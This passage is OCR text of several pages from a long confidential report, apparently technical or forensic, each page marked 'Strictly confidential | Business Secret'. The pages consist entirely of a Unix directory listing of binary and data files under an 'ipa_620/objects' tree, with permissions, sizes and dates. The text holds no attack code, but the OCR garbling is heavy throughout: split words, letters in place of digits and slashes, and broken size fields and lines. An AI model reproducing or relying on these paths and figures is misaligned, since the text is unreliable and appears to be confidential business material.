-rwxr-xr-x O 1367 495500 42897 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00004b/f5 . b i4 

- rwxr-xr-x O 1367 495500 39161 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/f6 . b i4 

- rwxr-xr-x O 1367 495500 63665 Oct 17 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/bi n a ries/00000000/00000000/00004b/f7 . b i4 

- rwxr-xr-x O 1367 495500 26986 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/f8. b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/00004c/ 

-rwxr-xr-x O 1367 495500 15378 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00004c/Oa . b i4 

-rwxr-xr-x O 1367 495500 30907 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ri es/00000000/00000000/00004c/Ob . b i4 

- rwxr-xr-x O 1367 495500 34696 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004c/Oc. b i4 

-rwxr-xr-x O 1367 495500 2479 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004c/Od . b i4 

-rwxr-xr-x O 1367 495500 14618 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004c/Oe . b i4 

-rwxr-xr-x O 1367 495500 1285 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i n a ries/00000000/00000000/00004c/OO. b i4 

Strictly confidenti a l  l Bus iness Secret l 

Sidan 454 av 574 



Report 

-rwxr-xr-x O 1367 495500 30404 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00004c/01 . b i4 

-rwxr-xr-x O 1367 495500 21845 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00004c/02 . b i4 

-rwxr-xr-x O 1367 495500 32367 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00004c/03 . b i4 

-rwxr-xr-x O 1367 495500 12334 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00004c/04. b i4 

-rwxr-xr-x O 1367 495500 30766 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00004c/05 . b i4 

-rwxr-xr-x O 1367 495500 1272 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004c/06. b i4 

-rwxr-xr-x O 1367 495500 1221 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00004c/07 . b i4 

-rwxr-xr-x O 1367 495500 41402 Oct 17 2006 /u/d955/DAF 1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004c/08. b i4 

-rwxr-xr-x O 1367 495500 37803 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004c/09 . b i4 

-rwxr-xr-x O 1367 495500 3075 Oct 17 2006 /u/d95 5/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004c/43 . b i4 

- rwxr-xr-x O 1367 495500 1286 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004c/44. b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004e/ 

-rwxr-xr-x O 1367 495500 592 10 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00004e/07 . b i4 

-rwxr-xr-x O 1367 495500 592 10 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i n a ries/00000000/00000000/00004e/42 . b i4 

-rwxr-xr-x O 1367 495500 118263 Oct 17 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/bi na r ies/00000000/00000000/00004e/43 . b i4 

-rwxr-xr-x O 1367 495500 43500 Oct 17 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/bi na r ies/00000000/00000000/00004e/44. b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/000042/ 

-rwxr-xr-x O 1367 495500 2908 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ri es/00000000/00000000/000042/83 . b i4 

Strictly confident i a l  l Bus iness Secret l 

Sidan 455 av 574 



Report 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000043/ 

-rwxr-xr-x O 1367 495500 14606 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi n a ries/00000000/00000000/000043/8a . b i4 

- rwxr-xr-x O 1367 495500 1317 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000043/8b . b i4 

-rwxr-xr-x O 1367 495500 1522 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r i es/00000000/00000000/000043/8c. b i4 

-rwxr-xr-x O 1367 495500 7952 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000043/84. b i4 

-rwxr-xr-x O 1367 495500 13046 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000043/87 . b i4 

-rwxr-xr-x O 1367 495500 32391 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/bi na r ies/00000000/00000000/000043/88. b i4 

-rwxr-xr-x O 1367 495500 16383 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000043/89 . b i4 

- rwxr-xr-x O 1367 495500 1 191  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000043/90. b i4 

- rwxr-xr-x O 1367 495500 977 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/bi n a ries/00000000/00000000/000043/91 . b i4 

- rwxr-xr-x O 1367 495500 1275 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000043/92 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b ina ries/00000000/00000000/000044/ 

-rwxr-xr-x O 1367 495500 2534 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000044/48 . b i4 

-rwxr-xr-x O 1367 495500 8315 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000044/49 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/ 

-rwxr-xr-x O 1367 495500 2064 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000045/ca . b i4 

-rwxr-xr-x O 1367 495500 1413 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ri es/00000000/00000000/000045/cb . b i4 

-rwxr-xr-x O 1367 495500 1279 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000045/cc. b i4 

Stri ct ly confidenti a l  l Bus i ness Secret l 

Sidan 456 av 574 



Sidan 457 av 574 
Report 

-rwxr-xr-x O 1367 495500 22251 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/ce . b i4 

-rwxr-xr-x O 1367 495500 27987 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/b i na ries/00000000/00000000/000045/cf. b i4 

-rwxr-xr-x O 1367 495500 28080 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/000045/c4. b i4 

-rwxr-xr-x O 1367 495500 2474 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/c7 . b i4 

-rwxr-xr-x O 1367 495500 1453 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/c8 . b i4 

-rwxr-xr-x O 1367 495500 1536 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000045/c9 . b i4 

-rwxr-xr-x O 1367 495500 2757 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000045/da . b i4 

-rwxr-xr-x O 1367 495500 100426 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000045/db . b i4 

-rwxr-xr-x O 1367 495500 35926 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000045/dd . b i4 

-rwxr-xr-x O 1367 495500 36950 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000045/de .b i4  

-rwxr-xr-x O 1367 495500 19006 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000045/df. b i4 

-rwxr-xr-x O 1367 495500 15058 Oct 17 2006 /u/d955/DAF 1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000045/dO .b i4  

-rwxr-xr-x O 1367 495500 17719 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000045/d l . b i4 

-rwxr-xr-x O 1367 495500 1326 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/d2 . b i4 

-rwxr-xr-x O 1367 495500 1403 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a r ies/00000000/00000000/000045/d3 . b i4 

-rwxr-xr-x O 1367 495500 1413 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000045/d4. b i4 

-rwxr-xr-x O 1367 495500 35300 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000045/d7 . b i4 

-rwxr-xr-x O 1367 495500 23378 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000045/d8 . b i4 

Strictly confident i a l  l Bus i ness Secret l 



Sidan 458 av 574 

Report 

-rwxr-xr-x O 1367 495500 13016 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a r ies/00000000/00000000/000045/ea . b i4 

-rwxr-xr-x O 1367 495500 22465 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a r ies/00000000/00000000/000045/eb . b i4 

-rwxr-xr-x O 1367 495500 30069 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/000045/ec. b i4 

-rwxr-xr-x O 1367 495500 17961 Oct 17 2006 /u/d95 5/DAF1367/is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/ed . b i4 

-rwxr-xr-x O 1367 495500 32006 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ri es/00000000/00000000/000045/ef. b i4 

-rwxr-xr-x O 1367 495500 84705 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/eO . b i4 

-rwxr-xr-x O 1367 495500 12351  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/e1 . b i4 

-rwxr-xr-x O 1367 495500 16295 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/e2 . b i4 

-rwxr-xr-x O 1367 495500 10334 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/bi na r ies/00000000/00000000/000045/e3 . b i4 

-rwxr-xr-x O 1367 495500 12334 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/e4. b i4 

-rwxr-xr-x O 1367 495500 27399 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000045/e5 . b i4 

-rwxr-xr-x O 1367 495500 68530 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/e6 . b i4 

-rwxr-xr-x O 1367 495500 97940 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/000045/e7 . b i4 

-rwxr-xr-x O 1367 495500 8088 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/e8 . b i4 

-rwxr-xr-x O 1367 495500 199 13 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/e9 . b i4 

-rwxr-xr-x O 1367 495500 10737 Oct 17 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/fa . b i4 

-rwxr-xr-x O 1367 495500 32215 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000045/fb . b i4 

-rwxr-xr-x O 1367 495500 38843 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000045/fc. b i4 

Strictly confident i a l  l Bus i ness Secret l 



Report 

-rwxr-xr-x O 1367 495500 29930 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000045/fd . b i4 

-rwxr-xr-x O 1367 495500 24402 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/fe . b i4 

-rwxr-xr-x O 1367 495500 16700 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/000045/ff. b i4 

-rwxr-xr-x O 1367 495500 26803 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000045/fO. b i4 

-rwxr-xr-x O 1367 495500 65418 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/b i na ries/00000000/00000000/000045/fl . b i4 

-rwxr-xr-x O 1367 495500 3 1654 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/f2 . b i4 

-rwxr-xr-x O 1367 495500 35530 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000045/f3 . b i4 

-rwxr-xr-x O 1367 495500 12977 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000045/f4 .b i4  

-rwxr-xr-x O 1367 495500 21949 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/b i n a r ies/00000000/00000000/000045/f5 . b i4 

-rwxr-xr-x O 1367 495500 18628 Oct 17 2006 /u/d95 5/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000045/f6. b i4 

-rwxr-xr-x O 1367 495500 31567 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000045/f7 . b i4 

-rwxr-xr-x O 1367 495500 47658 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000045/f8. b i4 

-rwxr-xr-x O 1367 495500 18583 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000045/f9 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000046/ 

-rwxr-xr-x O 1367 495500 969 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000046/0a . b i4 

-rwxr-xr-x O 1367 495500 927 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/bi n a r ies/00000000/00000000/000046/0b . b i4 

-rwxr-xr-x O 1367 495500 943 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/000046/0c .b i4 

-rwxr-xr-x O 1367 495500 874 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000046/0d . b i4 

Stri ct ly confidenti a l  l Bus iness Secret l 

Sidan 459 av 574 



Report 

-rwxr-xr-x O 1367 495500 984 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000046/0e . b i4 

-rwxr-xr-x O 1367 495500 873 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/b i n a ries/00000000/00000000/000046/0f. b i4 

-rwxr-xr-x O 1367 495500 23437 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000046/00. b i4 

-rwxr-xr-x O 1367 495500 22103 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000046/0l . b i4 

-rwxr-xr-x O 1367 495500 9865 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a r ies/00000000/00000000/000046/02 . b i4 

-rwxr-xr-x O 1367 495500 31949 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000046/03 . b i4 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

924 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000046/04. b i4 

962 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/000046/05 . b i4 

978 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000046/06 . b i4 

908 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ries/00000000/00000000/000046/07 . b i4 

934 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000046/08 . b i4 

949 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000046/09 . b i4 

-rwxr-xr-x O 1367 495500 35287 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000046/1a . b i4 

-rwxr-xr-x O 1367 495500 14560 Oct 17 2006 /u/d95 5/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000046/1b . b i4 

-rwxr-xr-x O 1367 495500 2644 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000046/1c. b i4 

-rwxr-xr-x O 1367 495500 21980 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a r ies/00000000/00000000/000046/1d . b i4 

-rwxr-xr-x O 1367 495500 11103 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/000046/1e . b i4 

-rwxr-xr-x O 1367 495500 14298 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000046/1f. b i4 

Strictly confident i a l  l Bus i ness Secret l 

Sidan 460 av 574 



Sidan 461 av 574 
Report 

-rwxr-xr-x O 1367 495500 18542 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/000046/10. b i4 

-rwxr-xr-x O 1367 495500 20980 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000046/11 . b i4 

-rwxr-xr-x O 1367 495500 18855 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000046/12 . b i4 

-rwxr-xr-x O 1367 495500 30182 Oct 17 2006 /u/d95 5/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000046/13 . b i4 

-rwxr-xr-x O 1367 495500 35823 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000046/14. b i4 

-rwxr-xr-x O 1367 495500 18804 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000046/15 . b i4 

-rwxr-xr-x O 1367 495500 7092 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000046/16. b i4 

-rwxr-xr-x O 1367 495500 6918 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000046/17 .b i4  

-rwxr-xr-x O 1367 495500 3 1449 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ri es/00000000/00000000/000046/18 .b i4  

-rwxr-xr-x O 1367 495500 13369 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000046/19 . b i4 

-rwxr-xr-x O 1367 495500 16700 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000046/20 .b i4  

-rwxr-xr-x O 1367 495500 16805 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000046/21 . b i4 

-rwxr-xr-x O 1367 495500 32000 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000046/22 . b i4 

-rwxr-xr-x O 1367 495500 31019 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/bi n a ries/00000000/00000000/000046/23 . b i4 

-rwxr-xr-x O 1367 495500 11700 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000046/24. b i4 

-rwxr-xr-x O 1367 495500 28459 Oct 17 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/b i n a ries/00000000/00000000/000046/25 . b i4 

-rwxr-xr-x O 1367 495500 14923 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000046/26. b i4 

-rwxr-xr-x O 1367 495500 19700 Oct 17 2006 /u/d955/DAF1367/ is i s/i pa_620/objects/b i na r ies/00000000/00000000/000046/27 . b i4 

Stri ct ly contident ia  l l Bus i ness Secret l 



Report 

-rwxr-xr-x O 1367 495500 7 142 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi na r iesiOOOOOOOOIOOOOOOOOI000046I28 . b i4 

-rwxr-xr-x O 1367 495500 26574 Oct 17 2006 luld955IDAF1367 l is i sli pa_620iobjectslbi na ri esiOOOOOOOOIOOOOOOOOI000046I29 . b i4 

-rwxr-xr-x O 1367 495500 2484 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi n a r iesiOOOOOOOOIOOOOOOOOI000046I83 . b i4 

-rwxr-xr-x O 1367 495500 1042 Oct 17 2006 luld955IDAF1367 l is i sli pa_620iobjectslbi na r iesiOOOOOOOOIOOOOOOOOI000046I84. b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 luld955IDAF1367 l is isli pa_620iobjectslbi na riesiOOOOOOOOIOOOOOOOOI000047 l 

-rwxr-xr-x O 1367 495500 18699 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslb i n a riesiOOOOOOOOIOOOOOOOOI000047 IOb . b i4 

-rwxr-xr-x O 1367 495500 1028 Oct 17 2006 luld955IDAF1367 li s i sli pa_620iobjectslbi n a r iesiOOOOOOOOIOOOOOOOOI000047 I04. b i4 

-rwxr-xr-x O 1367 495500 1297 Oct 17 2006 luld955IDAF1367Iis i sli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000047I05 . b i4 

-rwxr-xr-x O 1367 495500 1 107 Oct 17 2006 luld955IDAF1367 l is i sli pa_620iobjectslbi n a r iesiOOOOOOOOIOOOOOOOOI000047 I06 . b i4 

-rwxr-xr-x O 1367 495500 1373 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslb i n a ri esiOOOOOOOOIOOOOOOOOI000047 I07 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 luld955IDAF1367 l is i sli pa_620iobjectslb i n a r iesiOOOOOOOOIOOOOOOOOI000048I 

-rwxr-xr-x O 1367 495500 47162 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi n a ri esiOOOOOOOOIOOOOOOOOI000048Ica . b i4 

-rwxr-xr-x O 1367 495500 45815 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi na r iesiOOOOOOOOIOOOOOOOOI000048Icb . b i4 

-rwxr-xr-x O 1367 495500 42023 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslb i n a ri esiOOOOOOOOIOOOOOOOOI000048Ic7 . b i4 

-rwxr-xr-x O 1367 495500 8080 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi na riesiOOOOOOOOIOOOOOOOOI000048Ic8. b i4 

-rwxr-xr-x O 1367 495500 3 1928 Oct 17 2006 luld955IDAF1367Ii s i sli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000048Ic9 . b i4 

d rwxr-xr-x O 1367 495500 O Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectsldatal 

-rwxr-xr-x O 1367 495500 770048 M a r  20 2012 luld955IDAF1367 l is isli pa_620iobjectsldatala . pri 

Strictly confidenti a l  l Bus i ness Secret l 
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Repan 

-rwxr-xr-x O 1367 495500 253952 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/data/ad . pr i  

-rwxr-xr-x O 1367 495500 16384 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/data/a i nx . p ri 

-rw-rw-r-- O 1559 495500 16384 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/data/a i nx . sec 

-rwxr-xr-x O 1367 495500 16384 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/data/a ud it . p ri 

- rwxr-xr-x O 1367 495500 16384 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/data/a ud itd . pr i  

- rwxr-xr-x O 1367 495500 212992 Fe b 12 2012 /u/d955/DAF1367 / is i s/i pa_620/objects/data/c. pr i  

- rwxr-xr-x O 1367 495500 40960 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/data/cd . pri 

- rwxr-xr-x O 1367 495500 16384 Fe b 12 2012 /u/d955/DAF1367 / is i s/i pa_620/objects/data/ctr l . pri 

- rwxr-xr-x O 1367 495500 16384 Oct 17 2006 /u/d955/DAF 1367 / is i s/i pa_620/objects/data/i ndexd . p ri 

- rwxr-xr-x O 1367 495500 360448 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/data/md . pr i  

- rwxr-xr-x O 1367 495500 352256 Mar 20 2012 /u/d955/DAF1367/is i s/i pa_620/objects/data/oddyn . pr i 

-rwxr-xr-x O 1367 495500 401408 Feb 12 2012 /u/d955/DAF1367/is i s/ ipa_620/objects/data/od i nx . pr i  

- rwxr-xr-x O 1367 495500 835584 Fe b 12 2012 /u/d955/DAF1367 / is i s/i pa_620/objects/data/odstat . pr i  

-rw-rw-r-- O 1559 495500 90 112 J u n  4 2009 /u/d955/DAF1367/is i s/i pa_620/objects/data/odC i s l d . sec 

-rw-rw-r-- O 1559 495500 106496 Ju n 4 2009 /u/d955/DAF1367 / is i s/i pa_620/objects/data/odGu i d L. sec 

-rw-rw-r-- O 1559 495500 106496 Ju n 4 2009 /u/d955/DAF1367 / is i s/i pa_620/objects/data/odG u i dV.sec 

-rw-rw-r-- O 1559 495500 114688 Ju n 4 2009 /u/d955/DAF1367 / is i s/i pa_620/objects/data/od l n her.sec 

-rw-rw-r-- O 1559 495500 49 152 Ju n 4 2009 /u/d955/DAF1367 / is i s/i pa_620/objects/data/od NameCT. sec 

Str ict ly contident ia  l l Bus i ness Secret l 



Report 

-rw-rw-r-- O 1559 495500 114688 J u  n 4 2009 /u/d955/DAF1367 / is i s/i pa_620/objects/data/od Name l .sec 

-rw-rw-r-- O 1559 495500 98304 Ju n 4 2009 /u/d955/DAF1367 / is i s/i pa_620/objects/data/od NameV.sec 

-rw-rw-r-- O 1559 495500 81920 J u  n 4 2009 /u/d955/DAF1367 / is i s/i pa_620/objects/data/od0bj l d .sec 

-rwxr-xr-x O 1367 495500 16384 M a r  20 2012 /u/d955/DAF1367 / is i s/i pa_620/objects/data/ospc. pr i  

- rwxr-xr-x O 1367 495500 303 104 Fe b 12 2012 /u/d955/DAF1367 / is i s/i pa_620/objects/data/p . p r i 

- rwxr-xr-x O 1367 495500 40960 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/data/pd . p ri 

- rwxr-xr-x O 1367 495500 16384 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/data/proxymd . pri 

- rw-rw-r-- O 1559 495500 16384 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/data/proxymd . sec 

